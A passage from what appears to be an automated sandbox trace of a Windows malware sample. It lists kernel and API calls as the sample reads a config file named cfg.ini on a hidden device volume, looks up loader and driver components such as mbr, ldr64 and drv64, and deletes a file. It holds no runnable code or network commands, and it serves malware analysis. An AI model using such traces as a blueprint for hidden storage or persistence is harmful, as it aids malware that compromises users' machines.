(_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.902] KeLeaveCriticalRegion () [0122.902] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.902] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.902] KeEnterCriticalRegion () [0122.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.902] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d74000 [0122.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.902] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.902] IdePortDispatch () returned 0x103 [0122.902] KeWaitForMutexObject () returned 0x0 [0122.903] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.903] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.903] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.903] IdePortDispatch () returned 0x103 [0122.903] KeWaitForMutexObject () returned 0x0 [0122.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.903] KeLeaveCriticalRegion () [0122.903] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.903] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.903] KeEnterCriticalRegion () [0122.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.903] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.903] KeLeaveCriticalRegion () [0122.904] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.904] KeEnterCriticalRegion () [0122.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.904] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.904] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be8880, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.904] KeLeaveCriticalRegion () [0122.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.904] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.904] KeEnterCriticalRegion () [0122.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.904] ExFreePoolWithTag (P=0xfffffa8003be7b10, Tag=0x0) [0122.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.904] KeLeaveCriticalRegion () [0122.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.904] ReleaseMutex (hMutex=0xf0) returned 1 [0122.904] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.904] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.904] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.904] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.904] KeEnterCriticalRegion () [0122.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.904] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.904] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.904] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.904] IdePortDispatch () returned 0x103 [0122.904] KeWaitForMutexObject () returned 0x0 [0122.904] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.904] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.904] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.904] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.904] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.904] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.904] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.905] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.905] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.905] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.905] KeLeaveCriticalRegion () [0122.905] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.905] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.905] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.905] KeEnterCriticalRegion () [0122.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.905] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.905] IdePortDispatch () returned 0x103 [0122.905] KeWaitForMutexObject () returned 0x0 [0122.905] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.905] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.905] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.905] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.905] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.905] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.905] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.905] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.905] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.905] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.905] KeLeaveCriticalRegion () [0122.905] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.905] ReleaseMutex (hMutex=0x100) returned 1 [0122.906] Sleep (dwMilliseconds=0x2bf20) [0122.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c750970, dwHighDateTime=0x1d24fa4)) [0122.914] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.914] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.914] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.914] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.914] KeEnterCriticalRegion () [0122.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.914] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.914] IdePortDispatch () returned 0x103 [0122.914] KeWaitForMutexObject () returned 0x0 [0122.914] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.914] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.914] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.914] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.914] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.914] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6150 [0122.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.914] KeLeaveCriticalRegion () [0122.914] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.914] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.915] KeEnterCriticalRegion () [0122.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.915] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.915] KeLeaveCriticalRegion () [0122.915] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.915] KeEnterCriticalRegion () [0122.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.915] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.915] IdePortDispatch () returned 0x103 [0122.915] KeWaitForMutexObject () returned 0x0 [0122.915] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.915] KeLeaveCriticalRegion () [0122.915] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.915] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.915] KeEnterCriticalRegion () [0122.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.915] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d77000 [0122.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.915] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.915] IdePortDispatch () returned 0x103 [0122.915] KeWaitForMutexObject () returned 0x0 [0122.915] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.916] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.916] IdePortDispatch () returned 0x103 [0122.916] KeWaitForMutexObject () returned 0x0 [0122.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.916] KeLeaveCriticalRegion () [0122.916] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.916] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.916] KeEnterCriticalRegion () [0122.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.916] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.916] KeLeaveCriticalRegion () [0122.916] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.916] KeEnterCriticalRegion () [0122.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.916] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.917] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.917] KeLeaveCriticalRegion () [0122.917] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.917] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.917] KeEnterCriticalRegion () [0122.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.917] ExFreePoolWithTag (P=0xfffffa8003bc6150, Tag=0x0) [0122.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.917] KeLeaveCriticalRegion () [0122.917] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.917] ReleaseMutex (hMutex=0xf0) returned 1 [0122.917] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.917] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.917] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.917] KeEnterCriticalRegion () [0122.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.917] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.917] IdePortDispatch () returned 0x103 [0122.917] KeWaitForMutexObject () returned 0x0 [0122.917] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.917] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.917] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.917] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.917] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.917] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003827630 [0122.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.917] KeLeaveCriticalRegion () [0122.917] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.917] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.918] KeEnterCriticalRegion () [0122.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.918] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.918] KeLeaveCriticalRegion () [0122.918] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.918] KeEnterCriticalRegion () [0122.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.918] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.918] IdePortDispatch () returned 0x103 [0122.918] KeWaitForMutexObject () returned 0x0 [0122.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.918] KeLeaveCriticalRegion () [0122.918] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.918] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.918] KeEnterCriticalRegion () [0122.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.918] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d78000 [0122.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.918] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.918] IdePortDispatch () returned 0x103 [0122.918] KeWaitForMutexObject () returned 0x0 [0122.919] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.919] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.919] IdePortDispatch () returned 0x103 [0122.919] KeWaitForMutexObject () returned 0x0 [0122.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.919] KeLeaveCriticalRegion () [0122.919] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.919] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.919] KeEnterCriticalRegion () [0122.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.919] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.919] KeLeaveCriticalRegion () [0122.919] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.919] KeEnterCriticalRegion () [0122.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.920] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.920] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038276f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.920] KeLeaveCriticalRegion () [0122.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.920] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.920] KeEnterCriticalRegion () [0122.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.920] ExFreePoolWithTag (P=0xfffffa8003827630, Tag=0x0) [0122.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.920] KeLeaveCriticalRegion () [0122.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.920] ReleaseMutex (hMutex=0xf0) returned 1 [0122.920] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.920] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.920] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.920] KeEnterCriticalRegion () 